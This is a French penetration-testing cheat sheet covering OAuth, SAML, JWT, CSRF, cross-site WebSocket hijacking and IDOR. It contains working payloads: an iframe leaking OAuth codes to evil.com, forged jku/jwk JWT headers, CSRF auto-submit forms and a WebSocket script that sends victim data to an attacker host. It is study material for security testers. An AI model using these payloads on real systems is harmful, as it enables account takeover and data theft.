* Associer un compte de réseau social
* Vérifier le fonctionnement de la fonction "Se connecter avec \[réseau social]"
* Dans l'historique http de burp, analyser les requêtes
* Tenter de remplacer le contenu du paramètre "redirect\_uri" par une valeur arbitraire
* Constater qu'il n'y a pas d'erreur
* Vérifier la vulnérabilité en tentant une redirection sur un serveur nous appartenant (vérifier la présence du code d'autorisation dans les logs)

La deuxième étape consiste donc à envoyer comme précédemment un exploit à notre victime qui va permettre de voler son code d'autorisation et qui va ainsi nous permettre de nous connecter avec.

```html
<iframe src="https://target.com/auth?client_id=<client_id>&redirect_uri=https://evil.com&response_type=code&scope=openid%20profile%20email"></iframe>
```

Une fois que la cible aura exécuté l'exploit, son code sera leaké dans les logs de notre serveur et nous n'auront donc plus qu'à nous déconnecter de notre session puis nous reconnecter en utilisant directement le code de notre victime.

Exemple:

[https://target.com/oauth-callback?code=\<STOLEN\_CODE>](<https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=STOLEN-CODE&#xD;&#xA;>)

### Bypass

Afin d'éviter ce risque, les entreprises utilisent des whitelist leur permettant de n'autoriser que leurs urls dans le paramètre `redirect_uri` mais si celles-ci ne sont pas correctement implémentés, elle peuvent être contournées de différentes manières.

* Certaines implémentations autorisent une plage de sous-répertoires en vérifiant uniquement que la chaîne commence par la séquence de caractères correcte, c'est-à-dire un domaine approuvé. Vous devriez essayer de supprimer ou d'ajouter des chemins arbitraires, des paramètres de requête et des fragments pour voir ce que vous pouvez modifier sans déclencher d'erreur.
* Si vous pouvez ajouter des valeurs supplémentaires au paramètre `redirect_uri` par défaut, vous pourrez peut-être exploiter les écarts entre l'analyse de l'URI par les différents composants du service OAuth. Par exemple, vous pouvez essayer des techniques telles que:

`https://target.com&@foo.evil.net#@bar.evil.net/`<br>

* Vous pouvez occasionnellement rencontrer des vulnérabilités de pollution des paramètres côté serveur. Au cas où, vous devriez essayer de soumettre des paramètres `redirect_uri` en double comme suit :&#x20;

[https://www.target.com/?clientid=\<client\_id>\&redirect\_uri=target.com/callback\&redirect\_uri=evil.net/exploit](https://www.target.com/?clientid=%3Cclient_id%3E\&redirect_uri=target.com/callback\&redirect_uri=evil.net/exploit)

* Certains serveurs accordent également un traitement spécial aux URI `localhost`car ils sont souvent utilisés pendant le développement. Dans certains cas, tout URI de redirection commençant par `localhost`peut être accidentellement autorisé dans l'environnement de production. Cela pourrait vous permettre de contourner la validation en enregistrant un nom de domaine tel que `localhost.evil.net`.
* Si il est impossible de nous rediriger vers notre serveur directement via le paramètre `redirect_uri` et qu'une autre page du site contient une redirection ouverte, on peut essayer d'utiliser du path traversal pour nous rendre sur cette page.

Exemple: <https://target.com/oauth/callback/../exemple/path?redirect=http://evil.net>

{% hint style="info" %}
Essayez également de trouver toutes autres vulnérabilités qui vous permettraient d'extraire le code ou le jeton OAuth et de l'envoyer à un domaine externe.

* XSS
* HTML injection (\<img src="evil.net">)
  {% endhint %}

## OAuth brute force

Essayer de brute force la page de login pour trouver des règles oauth cachées.

Exemple:

/login/facebook

/login/oauth/twitter

/login/oauth/v2/yahoo

## ATO via manipulation des permissions accordées

1. Sign up avec Oauth de réseau social
   1. REFUSER DE PARTAGER L'EMAIL
2. Redirection vers page de création de compte avec email normalement vide
3. Intercepter la requête de création de compte
4. Entrer un email déjà validé dans le champs d'email (celui de la cible)
5. Envoyer la requête

Si cela fonctionne, cela nous connecte alors sur le compte de la cible.

## One-Click ATO via OAuth Dirty Dancing

Étapes

### Trouver un "non-happy path"

Le premier objectif est de trouver un moyen de "casser" le flux de connexion OAuth afin de terminer avec une erreur faisant fuiter le code / token.

Pour cela, il existe plusieurs solutions:

#### Manipuler le paramètre state

Théorie:

1. L'attaquant démarre un flux de connexion OAuth sur le site Web en utilisant « Connectez-vous avec X ».
2. L'attaquant intercepte la valeur du paramètre `state` et construit un lien pour la victime pour se connecter avec le fournisseur OAuth **mais** avec le paramètre **`state`** de l’attaquant.
3. La victime est connectée avec le lien et redirigée vers le site web.
4. Le site Web valide l'état de la victime et arrête le traitement due flux de connexion car son paramètre `state` invalide. (Page d'erreur pour la victime)
5. L'attaquant trouve un moyen de divulguer le code de la page d'erreur. (Via une XSS par exemple)
6. L'attaquant peut désormais se connecter avec son propre paramètre `state` et le `code` a été divulgué par la victime.

#### Manipuler le paramètre response\_type/response\_mode

Google:

Remplacer le paramètre `response_type=code` par `response_type=code,id_token`

Apple:

Remplacer le paramètre `response_type=code` par `response_type=code+id_token` et le paramètre `response_mode=query` par `response_mode=fragment`

#### Manipuler le paramètre redirect\_uti

Casse:

remplacer le paramètre `redirect_uri=https://target.xyz/callback` par `redirect_uri=https://target.xyz/CalLbAcK`

Chemin:

remplacer le paramètre `redirect_uri=https://target.xyz/callback` par `redirect_uri=https://target.xyz/callbackxxx`

Paramètre additionnel:

remplacer le paramètre `redirect_uri=https://target.xyz/callback` par `redirect_uri=https://target.xyz/callback?code=xxx` ou `redirect_uri=https://target.xyz/callback?id_token=xxx`

### Trouver un moyen de faire fuite l'URL (Bonne chance)

L'étape suivante consiste à trouver un moyen de faire fuite l'URL d'erreur contenant le code / token.

Voici quelques solutions possibles:

#### postMessage

Si un Post-Message ne vérifie pas l'hôte source des messages, on peut imaginer un scénario tel que:

1. L'attaquant envoie à la victime un lien spécialement conçu pour aboutir à un "non-happy path" dans la danse OAuth.
2. La victime clique sur le lien. Un nouvel onglet s'ouvre avec un flux de connexion avec l'un des fournisseurs OAuth du site Web exploité.&#x20;
3. Une erreur est déclenché sur le site Web exploité, le listener postMessage vulnérable est chargé sur la page sur laquelle la victime a atterri, toujours avec le code ou les jetons dans l'URL.
4. L'onglet d'origine envoyé par l'attaquant envoie un tas de postMessages au nouvel onglet avec le site Web pour que le listener postMessage divulgue l'URL actuelle.&#x20;
5. L'onglet d'origine envoyé par l'attaquant écoute ensuite le message qui lui est envoyé.&#x20;
6. Lorsque l'URL revient dans un message, le code et le jeton sont extraits et envoyés à l'attaquant.
7. L'attaquant se connecte au compte de la victime en utilisant le code ou le jeton exfiltré.

#### XSS

## OpenID dynamic client registration SSRF

La spécification OpenID permet aux applications clientes de s'enregistrer auprès du fournisseur OpenID de manière standardisée. Si l'enregistrement dynamique du client est pris en charge, l'application client peut s'enregistrer elle-même en envoyant une requête POST à endpoint dédié tel que `/registration` par exemple. Le nom de cet endpoint est généralement fourni dans le fichier de configuration et la documentation.

Via cet endpoint, l'utilisateur va alors avoir la possibilité de s'enregistrer en renseignant des  informations au format JSON demandant souvent une liste d'urls de redirection whitelistées.

De cette manière, si cette fonctionnalité est activée et mal restreinte, un attaquant à la possibilité d'enregistrer ses propres urls de redirection et ainsi de bénéficier d'une SSRF.

**Exemple:**

```
POST /openid/register HTTP/1.1
Content-Type: application/json
Accept: application/json
Host: oauth-authorization-server.com
Authorization: Bearer ab12cd34ef56gh89...

{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://attacker-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```


# SAML

Security Assertion Markup Language

## Description

est un langage de balisage basé sur le langage XML utilisé pour faciliter le SSO sur des applications à grande échelle. SAML permet le SSO en facilitant l'échange d'informations entre trois parties : l'utilisateur, le fournisseur d'identité et le fournisseur de services.

<figure><img src="/files/C8XahpoaaMRMZewdaiZG" alt=""><figcaption><p>Fonctionnement simplifié</p></figcaption></figure>

## Exploitation

### Localiser la réponse SAML

Via burp suite, trouver la réponse SAML du serveur après une connexion en SSO.

### Analyser les champs de la réponse SAML

Une fois que vous avez localisé la réponse SAML, vous pouvez analyser son contenu pour voir quels champs le fournisseur de services utilise pour déterminer l'identité d'un utilisateur. (username, email, userID...)

### Falsifier ces champs pour tenter de vous connecter avec un autre utilisateur

Changer votre username par celui d'un autre utilisateur et faire de même pour email, userID etc.

{% hint style="warning" %}
Cela n'est que très rarement permis car les authentifications passant par le SAML se basent sur une signature.
{% endhint %}

### Bypass de signature

#### Supprimer la signature de son champs

Exemple:

<pre class="language-xml"><code class="lang-xml">&#x3C;saml:Signature>
<strong>   &#x3C;saml:SignatureValue>
</strong><strong>     //empty
</strong>   &#x3C;/saml:SignatureValue>
<strong>&#x3C;/saml:Signature>
</strong>&#x3C;saml:AttributeStatement>
    &#x3C;saml:Attribute Name="username">
        &#x3C;saml:AttributeValue>
            user123
        &#x3C;/saml:AttributeValue>
    &#x3C;/saml:Attribute>
&#x3C;/saml:AttributeStatement>
</code></pre>

#### Supprimer le champs signature entier

Exemple:

```xml
//empty
<saml:AttributeStatement>
    <saml:Attribute Name="username">
        <saml:AttributeValue>
            user123
        </saml:AttributeValue>
    </saml:Attribute>
</saml:AttributeStatement>
```

#### Sgnature faible et/ou prédictible

Si la signature est encodée avec du base64 par exemple, il est simple de recalculer la signature et d'en forger une nouvelle valide.

### Réencoder le message

Enfin, on va réencoder le message dans son format initiale après l'avoir falsifié puis on va l'envoyer et vérifier si nous avons bien pu contourner l'authentification.

## Extension Burp

### SAML Raider

SAML Raider est une extension Burp Suite pour tester les infrastructures SAML. Il contient deux fonctionnalités principales - un éditeur de messages SAML et un gestionnaire de certificats X.509.

L'éditeur de message offre les fonctionnalités suivantes :

* Signer les messages SAML et les assertions (attaque par usurpation de signature)
* Supprimer les signatures (attaque par exclusion de signature)
* Modifier les messages SAML (SAMLRequest, SAMLResponse et noms de paramètres personnalisés)
* Effectuez huit attaques XSW courantes
* Insérer les charges utiles d'attaque XXE et XSLT
* Profils pris en charge : profil d'authentification unique du navigateur Web SAML, profil de jeton SAML de sécurité des services Web
* Liaisons prises en charge : liaison POST, liaison de redirection, liaison SOAP, liaison URI

ressource: <https://github.com/CompassSecurity/SAMLRaider>


# JSON Web Token

JWT

## Contournement d'authentification via signature non vérifiée

Etapes:

* Surlignez le payload de votre JWT sur Burp
* Dans Burp Inspector, changez la valeurs de votre nom d'utilisateur (exp: "username":"user123 => "username":"administrator")
* Cliquez sur "apply changes"
* Envoyez la requête
* Constater que vous êtes connecté en temps que "administrator"

## Contournement d'authentification via signature nulle

Etapes:

* Surlignez le header de votre JWT sur Burp
* Dans Burp Inspector, changer l'algorithme de chiffrement du token en "none" (exp: "alg":"RS256" => "alg":"none")
* Cliquez sur "apply changes"
* Surlignez le payload de votre JWT sur Burp
* Dans Burp Inspector, changez la valeurs de votre nom d'utilisateur (exp: "username":"user123 => "username":"administrator")
* Cliquez sur "apply changes"
* Supprimez la signature (attention: gardez le "." à la fin du payload)
* Envoyez la requête
* Constater que vous êtes connecté en temps que "administrator"

## Brute force du secret

Si le JWT utilise un chiffrement faible tel que HS256 il est possible de bruteforce le secret de la signature avec hashcat comme ceci:

`$ hashcat -a 0 -m 16500 <jwt> <wordlist>`

Une fois le secret trouvé, on peut alors générer de nouveaux token comme on le souhaite.

On peut utiliser l'extension JWT Editor de Burp Suite pour ce faire.

Ressource:

<https://portswigger.net/web-security/jwt/working-with-jwts-in-burp-suite#adding-new-signing-keys>

## Contournement d'authentification via injection d'en-tête jwk

{% hint style="info" %}
JWK (JSON Web Key) est un format standardisé permettant de représenter les clés sous forme d'objet JSON.
{% endhint %}

{% hint style="warning" %}
Prérequis: Extension JWT Editor de Burp Suite
{% endhint %}

Etapes:

* Allez dans l'onglet d'extension JWT Editor Keys
* Cliquez sur "New RSA key" > "Generate" > "OK"
* Interceptez la requête voulu
* Allez dans l'onglet "JSON Web Token"
* Changez votre nom d'utilisateur par celui de votre cible dans le payload
* Cliquez sur "Attack" > "Embedded JWK"
* Sélectionnez la clé RSA précédemment générée puis lancez l'attaque
* Remarquez qu'un paramètre "jwk" contenant votre clé a été ajouté au payload
* Envoyez la requête et retournez sur votre navigateur
* Remarquez que vous êtes maintenant connecté sur compte de votre cible

## Contournement d'authentification via injection d'en-tête jku

{% hint style="info" %}
JKU (JWK Set URL) est un URI qui fait référence à une ressource pour un ensemble de clés publiques encodées en JSON, dont l'une correspond à la clé utilisée pour signer numériquement le JWS (JSON Web Signature)
{% endhint %}

{% hint style="warning" %}
Prérequis: Extension JWT Editor de Burp Suite
{% endhint %}

Etapes:

* Allez dans l'onglet d'extension JWT Editor Keys
* Cliquez sur "New RSA key" > "Generate" > "OK"
* Interceptez la requête voulu
* Allez dans l'onglet "JSON Web Token"
* Changez votre nom d'utilisateur par celui de votre cible dans le payload
* Cliquez sur "Attack" > "Embedded JWK"
* Sélectionnez la clé RSA précédemment générée puis lancez l'attaque
* Remarquez qu'un paramètre "jwk" contenant votre clé a été ajouté au payload
* Copier le contenu du paramètre "jwk" et supprimer le paramètre ainsi que son contenu

```json
{
        "kty": "RSA",
        "e": "AQAB",
        "kid": "daf86875-f562-4b2d-9a62-0f13f8ed77d2",
        "n": "qCjZDCcGtvsnLxro6OxWapUxUIqO4NP0WKWAmOcNUn-VKr0C4sVnNjx9AkpREfDU9GhUuvLqjxQYjRt9JjE5dkOi3W43kwCHm-zbVaI2Bjt0_XpyBGi1INiD1lrNl9UWo5PykdwN3j_ByJ9tiDVgrHUmuLXV3THju7XluPlQ5B-c7nZQx0zqMqYnihFSKeUuZwIL0KIPAEwVZpCg0WBOgHIaSDybuuKw5sAUQ4W9SuVTNXZ1DEOB7fRAE6eidRPMxUNS9sAcOEWohhe3ZYCQO0tNVM5asn3YUQBMHlxsu317YydnM4AS82Y61eu7Vr-nnf-lIpTEco00U_LL9dcb4Q"
 }
```

* Ecrivez votre exploit sur votre serveur d'attaque avec les données copiées

```json
{
  "keys": [
    {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "daf86875-f562-4b2d-9a62-0f13f8ed77d2",
        "n": "qCjZDCcGtvsnLxro6OxWapUxUIqO4NP0WKWAmOcNUn-VKr0C4sVnNjx9AkpREfDU9GhUuvLqjxQYjRt9JjE5dkOi3W43kwCHm-zbVaI2Bjt0_XpyBGi1INiD1lrNl9UWo5PykdwN3j_ByJ9tiDVgrHUmuLXV3THju7XluPlQ5B-c7nZQx0zqMqYnihFSKeUuZwIL0KIPAEwVZpCg0WBOgHIaSDybuuKw5sAUQ4W9SuVTNXZ1DEOB7fRAE6eidRPMxUNS9sAcOEWohhe3ZYCQO0tNVM5asn3YUQBMHlxsu317YydnM4AS82Y61eu7Vr-nnf-lIpTEco00U_LL9dcb4Q"
    }
  ]
}
```

* Copiez l'URL vers votre exploit et l'ajouter dans le header du JWT dans un paramètre "jku"
* Remplacer le "kid" par celui dans l'exploit
* Remplacer votre nom d'utilisateur par celui de votre victime
* Cliquez sur "Sign" et sélectionnez la clé RSA utilisée pour l'exploit&#x20;
* Vérifiez que l'option "Don't modify header" est cochée puis cliquez sur "OK"

Vous devriez à la fin avoir un JWT qui ressemble à ceci:

#### Header

```json
{
    "kid": "daf86875-f562-4b2d-9a62-0f13f8ed77d2",
    "alg": "RS256"
    "jku": "https://evil.com/exploit"
}
```

#### Payload

```json
{
    "username": "<target_username>",
    ...
}
```

* Finalement, envoyez la requête et constatez que vous êtes connecté en tant que \<target\_username>

## Contournement d'authentification via manipulation de paramètre kid

{% hint style="warning" %}
Prérequis: Extension JWT Editor de Burp Suite
{% endhint %}

Etapes:

* Allez dans l'onglet JWK Editor Keys
* Cliquez sur "New Symmetric Key" > "Generate"
* Modifiez le paramètre "k" par un byte null encodé en base64 (signature nulle)&#x20;

```json
{
    "kty": "oct",
    "kid": "86d1d9cb-1284-48fa-b29f-bdeeba2a6814",
    "k": "AA=="
}
```

* Interceptez la requête voulu
* Allez dans l'onglet "JSON Web Token"
* Remplacer le paramètre "kid" par un path traversal (vers dev/null afin d'ignorer le "kid"

Exemple:

```json
{
    "kid": "../../../../../../../dev/null",
    "alg": "HS256"
}
```

* Modifiez votre nom d'utilisateur par celui de votre cible
* Cliquez sur "Sign", sélectionnez la clé symétrique généré précédemment, vérifiez que l'option "Don't modify" header est cochée  puis cliquez sur "OK"
* Finalement, envoyez la requête et constatez que vous êtes connecté au compte de votre cible

{% hint style="info" %}
Notez que si le serveur stock ses clés de vérification dans une base de données, le paramètre "kid" peut potentiellement devenir un vecteur d'attaque par injection SQL
{% endhint %}

## Autres vecteurs d'attaque

* Le paramètre `cty` (Content Type) est parfois utilisé pour déclarer un type de média pour le contenu dans la charge utile JWT. Ceci est généralement omis de l'en-tête, mais la bibliothèque d'analyse sous-jacente peut le prendre en charge de toute façon. Si vous avez trouvé un moyen de contourner la vérification de signature, vous pouvez essayer d'injecter un en-tête `cty` pour changer le type de contenu en `text/xml`ou `application/x-java-serialized-object`, ce qui peut potentiellement activer de nouveaux vecteurs pour les attaques [XXE](/pentest-web/injections/xxe) ou de[ désérialisation](/pentest-web/insecure-deserialization).
* `x5c`(Chaîne de certificats X.509) - Parfois utilisé pour transmettre le certificat de clé publique X.509 ou la chaîne de certificats de la clé utilisée pour signer numériquement le JWT. Ce paramètre d'en-tête peut être utilisé pour injecter des certificats auto-signés, similaires aux attaques par [injection d'en-tête jwk](/pentest-web/json-web-token#contournement-dauthentification-via-injection-den-tete-jwk) vue précédemment. Ressources:
  * &#x20;<https://talosintelligence.com/vulnerability_reports/TALOS-2017-0293>
  * <https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/>

## Attaques par confusion d'algorithme

Etapes généralement suivies:

* Obtenir la clé publique du serveur
* Convertir la clé dans un format approprié
* Créer un JWT malveillant en manipulant le payload et en changeant l'algorithme de chiffrement en HS256
* Signer le jeton en HS256 avec la clé publique comme secret

{% hint style="info" %}
Les serveurs exposent parfois leurs clés publiques en tant qu'objets JSON Web Key (JWK) via un point de terminaison standard mappé sur `/jwks.json`ou `/.well-known/jwks.json`, par exemple. Ceux-ci peuvent être stockés dans un tableau de JWK appelé `keys`. C'est ce qu'on appelle un ensemble JWK.
{% endhint %}

{% hint style="warning" %}
Pour que l'attaque fonctionne, la version de la clé que vous utilisez pour signer le JWT doit être identique à la copie locale du serveur. En plus d'être dans le même format, chaque octet doit correspondre, y compris tous les caractères non imprimables.
{% endhint %}

Exemple pour une clé au format X.509 PEM:

Etapes:

* Trouvez la clé publique du serveur (via l'endpoint jwks.json par exemple)
* Copiez l'objet jwk dans le tableau "keys"

```json
{
    "kty":"RSA",
    "e":"AQAB",
    "use":"sig",
    "kid":"013acf5d-65af-4aa8-8527-898bac386146",
    "alg":"RS256",
    "n":"z5YvN4498LC-kwchA9Kzp60DOzIS3a3ckOKGE47YV9xPiw-msN5xeJHiG3-F-A9as_ioRFZGp4YZ7aCU5kGz_ILLPBq7ePKmvJ8-rCL2jtKHASG-sjL1qGE0ItgIbgNnhEGtHPDpc_Cd9c9OzzhM3VNNqRdVi5WRBttxBzAZj8iJASQTelOcLY4Ve6bIGg3qos-DUAqke5m9MVaxIPg8IzDy8HsWk2-olzTKB9y0xkIb-a3l9j62yIWu6qBT1ZzlFXLa0P4oOQi-LJ1MS-Z7k87VyltIQlbFCQUA67OBCfiQlhqsr_ibXkYJwAshSt0lMifXDGb2tt9K4AcOJhgsnQ"
}
```

* Allez dans l'onglet "JWK Editor Keys"
* Cliquez sur "New RSA Key" > Collez l'objet JWK dans le champ "Key"
* Cliquez sur "OK" puis faites un clic droit sur la clé puis sélectionnez "Copy Public Key as PEM"
* Allez dans l'onglet "Decoder" puis encodez la clé publique PEM en base64
* Copiez le résultat puis retournez dans l'onglet "JWT Editor Key"
* Cliquez sur "New Symmetric Key" > "Generate"
* Echangez le contenu du paramètre "k" par la clé PEM encodé
* Cliquez sur "OK"
* Interceptez la requête voulu
* Allez dans l'onglet "JSON Web Token"
* Modifiez le paramètre "alg" du header en "HS256" si ce n'est pas déjà le cas
* Echangez votre nom d'utilisateur par celui de votre cible
* Signez votre JWT avec la clé **symétrique** générée précédemment (en vérifiant que l'option "Don't modify header" est cochée
* Enfin, envoyez la requête et remarquez que vous êtes connecté au compte de votre cible

{% hint style="info" %}
Dans le cas où il vous serait trop difficile de trouver la clé publique du serveur, il existe des outils permettant de la bruteforce.

ressource: <https://github.com/silentsignal/rsa_sign2n>
{% endhint %}


# CSRF

Cross Site Request Forgery

## Sites:

* <https://security.love/CSRF-PoC-Genorator/>: Générateur en ligne de PoC CSRF.&#x20;

## Mindmap

![](/files/Syqn34tclqALMD5Vmlvm)

{% hint style="success" %}
Prérequis:

* **Une action pertinente.** Il y a une action dans l'application que l'attaquant a une raison d'induire. Il peut s'agir d'une action privilégiée (telle que la modification des autorisations d'autres utilisateurs) ou de toute action sur des données spécifiques à l'utilisateur (telle que la modification du mot de passe de l'utilisateur).
* **Gestion de session basée sur les cookies.** L'exécution de l'action implique l'émission d'une ou plusieurs requêtes HTTP, et l'application s'appuie uniquement sur les cookies de session pour identifier l'utilisateur qui a fait les requêtes. Il n'existe aucun autre mécanisme en place pour suivre les sessions ou valider les demandes des utilisateurs.
* **Aucun paramètre de demande imprévisible.** Les requêtes qui exécutent l'action ne contiennent aucun paramètre dont les valeurs ne peuvent pas être déterminées ou devinées par l'attaquant. Par exemple, en incitant un utilisateur à changer son mot de passe, la fonction n'est pas vulnérable si un attaquant a besoin de connaître la valeur du mot de passe existant.
  {% endhint %}

## Principe

Exemple de modification d'email:

```
POST /changeemailaddress HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=target@mail.xyz
```

Exploit: (Test dans un fichier html en local)

```html
<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name="email" value="evil@mail.xyz" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
```

Si la victime se rend sur le site web de l'attaquant contenant cet exploit, une requête HTTP sera envoyé à l'url "<https://target.com/changeemailaddress>" préremplie avec l'email de l'attaquant (<evil@mail.xyz>).

Si la victime a une session active sur le site target.com, l'action sera alors faite via son compte et son adresse mail sera alors remplacé par celle de l'attaquant.

## Bypass de jeton CSRF

* Tenter d'utiliser une autre méthode HTTP que celle utilisée.
* Supprimer le paramètre "csrf" de la requête.
* Utiliser son propre jeton CSRF à la place de celui de la cible.
* Si le site Web contient un comportement qui permet à un attaquant de placer un cookie dans le navigateur d'une victime, L'attaquant peut se connecter à l'application à l'aide de son propre compte, obtenir un jeton valide et un cookie associé, placer son cookie dans le navigateur de la victime et transmettre son jeton à la victime lors de son attaque CSRF. (CRLF + CSRF)
* Si le site utilise un header X-Csrf-Token, le remplacer par "1".

```html
<img src="https://target.com/+<CRLF payload> onerror="document.forms[0].submit()">
```

Exemple:&#x20;

```html
<html>
  <body>
    <img src="https://target.com/?search=test%0d%0aSet-Cookie:%20csrfKey=<KEY>%3b%20SameSite=None" onerror="document.forms[0].submit()">
    <form action="https:///target.com/changeemailadress" method="POST">
      <input type="hidden" name="email" value="test2&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="123XYZ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
```

## Bypass de vérification de l'en-tête referer

Si le site se fie à l'en-tête referer pour valider si le site de l'attaquant fait partie d'une whitelist ou non, on peu essayer d'ajouter une balise \<meta> "no-referrer" à notre PoC.

<pre class="language-html"><code class="lang-html">&#x3C;html>
<strong>    &#x3C;meta name="referrer" content="no-referrer">
</strong>    &#x3C;body>
        &#x3C;form action="https://target.com/changeemailaddress" method="POST">
            &#x3C;input type="hidden" name="email" value="evil@mail.xyz" />
        &#x3C;/form>
        &#x3C;script>
            document.forms[0].submit();
        &#x3C;/script>
    &#x3C;/body>
&#x3C;/html>
</code></pre>

Cela suffit parfois à bypass la liste blanche mise en place.

On peut aussi utiliser un nom de domaine tel que `https://target.com.attacker.com` pour tenter de bypass la regex vérifiant le domaine de confiance.

## Bypass de cookie SameSite Lax

### Via [method override](/pentest-web/bypass#method-override)

Exemple:

```html
<script>
    document.location="https://target.com/changeemailaddress?email=attacker@mail.xyz&_method=POST
</script>
```

## Bypass de cookie SameSite Strict

### Via paramètre acceptant du [path traversal](/pentest-mobile/android/guides-outils/outil-drozer/path-traversal-android) ou vulnerable à [open redirect](/pentest-web/open-redirect)

Exemple:

```html
<script>
	document.location="https://target.com/example/path?parameter=../../changeemailaddress?email=attacker%40mail.xyz%26submit=1"
</script>
```

## XSS+CSRF => Account takeover

Parfois, il est également possible de coupler une injection XSS (permettant de voler le token CSRF de la victime) et une CSRF avec `XMLHttpRequest` afin de parvenir souvent à la prise de contrôle d'un compte à haut privilèges.

## CSRF sur endpoint JSON

### Avec ACAO sur \*

Dans le générateur de PoC CSRF de burp, dans options utiliser la technique "Cross-domain XHR" et set xhr.withcredentials dans le payload sur false si le true ne fonctionne pas.

### Avec Content-Type: text/plain

```html
<html>
    <body>
        <form action="https://target.com/changeemailaddress" method="POST">
            <input type="hidden" name='{"username":"evil","email":"evil@mail.xyz","foo' value='":"test"}' />
        </form>
    </body>
</html>
```

## Impacts possibles

* Fuites de données sensibles
* Enregistrement de Self-XSS dans le navigateur de la victime
* Account takeover


# Cross-site WebSocket Hijacking (CSWSH)

L’attaque Cross-Site WebSocket Hijacking est possible quand le WebSocket Handshake est vulnérable au CSRF. En effet, le canal de communication entre les deux parties (client/serveur) se crée en fonction de l’origine de la demande d’ouverture. Ainsi, si la demande de changement de protocole ne se base que sur les cookies, un attaquant peut alors piéger une victime afin qu’elle initie une demande avec sa session mais sur le serveur de l’attaquant.

## Exemple

```
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

Dans cette requête, on voit que le seul élément permettant d'établir une session entre le client et le serveur est le cookie "session" laissant penser qu'il est fortement probable qu'il n'existe pas de protection contre les CSWSH.

## Exploitation

```javascript
<script>
    var ws = new WebSocket('wss://target.com/endpoint');
    ws.onopen = function() {
        ws.send("<start message>");
    };
    ws.onmessage = function(event) {
        fetch('https://your-burp.collab.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
```


# IDOR

Insecure Direct Object Reference

Les références d'objet directes non sécurisées (IDOR) sont un type de vulnérabilité de contrôle d'accès qui survient lorsqu'une application utilise une entrée fournie par l'utilisateur pour accéder directement à un objet.

Il existe de nombreux exemples de vulnérabilités de contrôle d'accès dans lesquelles des valeurs de paramètre contrôlées par l'utilisateur sont utilisées pour accéder directement aux ressources ou aux fonctions.

L'un des exemples les plus connu est le populaire paramètre id qu'on peut essayer d'incrémenter pour accéder aux données d'un autre utilisateur.

```
https://target.com/customer_account?id=132355
```

Cependant ce type d'attaque ne se limite pas à un exemple si simple.

## Méthodologie

### Créer 2 comptes ou plusieurs comptes pour chaque niveau de permissions

### Où peut-on trouver ces IDs ?

En effet on peut retrouver des IDs directement dans une url comme dans l'exemple précèdent mais également dans le code source de la page comme c'est souvent le cas sur les sites de réseaux sociaux.

### Comment les ressources sont gérées ?

Se connecter avec un "UserA" et intercepter les requêtes des différentes fonctionnalités pour comprendre le fonctionnement de celles-ci.

Créer un compte pour chaque niveau de privilèges..

Créer une ressource avec un "UserA" et essayer de modifier ces ressources avec un "UserB".

### Enumeration de ressources via code de reponse

Exemple si on a un endpoint donnant un 404 pour une ressource qui n'existe pas:

GET /api/user/test987123 <mark style="color:red;">404</mark> Not Found HTTP/1.1 => n'exite pas

GET /api/user/userA <mark style="color:orange;">405</mark> Unauthorized HTTP/1.1 => exite

GET /api/user/1337 <mark style="color:orange;">405</mark> Unauthorized HTTP/1.1 => existe

GET /api/user/phone/2018675309 <mark style="color:orange;">405</mark> Unauthorized HTTP/1.1 => existe

### Automatisation avec Burp Suite

#### Autorize

Si vous avez 2 comptes avec des droits différents, connectez vous aux deux avec un navigateur différent, prenez le cookie de session de celui avec le moins de privilèges et entrez le dans Autorize.

Navigez ensuite sur le site avec le compte ayant le plus de privilèges et vérifiez que le compte avec le moins de privilèges n'ai pas l'autorisation d'accéder à des ressources auquelles il ne devrait pas avoir accès.

#### AutoRepeater

Pour remplacer les UUID et ID dans les requêtes.

### Checklist

* Trouver et remplacer les IDs dans les urls headers et body

Exemples: /users/01 -> /users/02

* Essayer la pollution de paramètres

Exemple: users=01 -> users=01\&users=02

* Essayer bypass via [caractères spéciaux](/pentest-web/bypass#uri-tampering)

Exemple: /users/01\* ou /users/\*

* Essayer les anciennes versions d'API

Exemple: /api/v3/users/01 -> /api/v1/users/02

* Bypass via ajouter d'extension

Exemple: /users/01 -> /users/01.json

* Changer la méthode HTTP

Exemple: POST / PUT / PATCH / DELETE /users/01

* Bypass via l'en-tête Referer

Exemple:

Get /users/02                                    <mark style="color:red;">403 Forbidden</mark>

Referer: target.com/users/01

Get /users/02                                    <mark style="color:green;">200 Ok</mark>

Referer: target.com/users/02

* ID chiffré ? encodé ? [Cracker](/crack) ou decoder via différents outils
* Remplacer les UUID avec un ID numérique ou un email

Exemple: /users/1b16c096-135d-346f-b54a-eda97413ce28 -> /users/02 ou /users/abc\@xyz.com

* Essayer des UUID tels que:

&#x20;00000000-0000-0000-0000-000000000000 -> 11111111-1111-1111-1111-111111111111

* Essayer de retrouver des leaks de GUID via [Google Dorks, Github, la Waybackmachine...](/osint-recon)
* Rechercher des leaks de GUID via le contenu des réponses aux fonctions de signup, reset password etc.
* Essayer de mettre les deux userID dans un tableau.

```json
{
    "userID":[
        1234,
        4321
    ]
}
```

* Essayer de mettre un double userID.

```json
{
    "userID":{
        "userID":1234
        }
}
```

* Essayer d'utiliser un booleen ("userID":true)
* Utiliser un ID très long
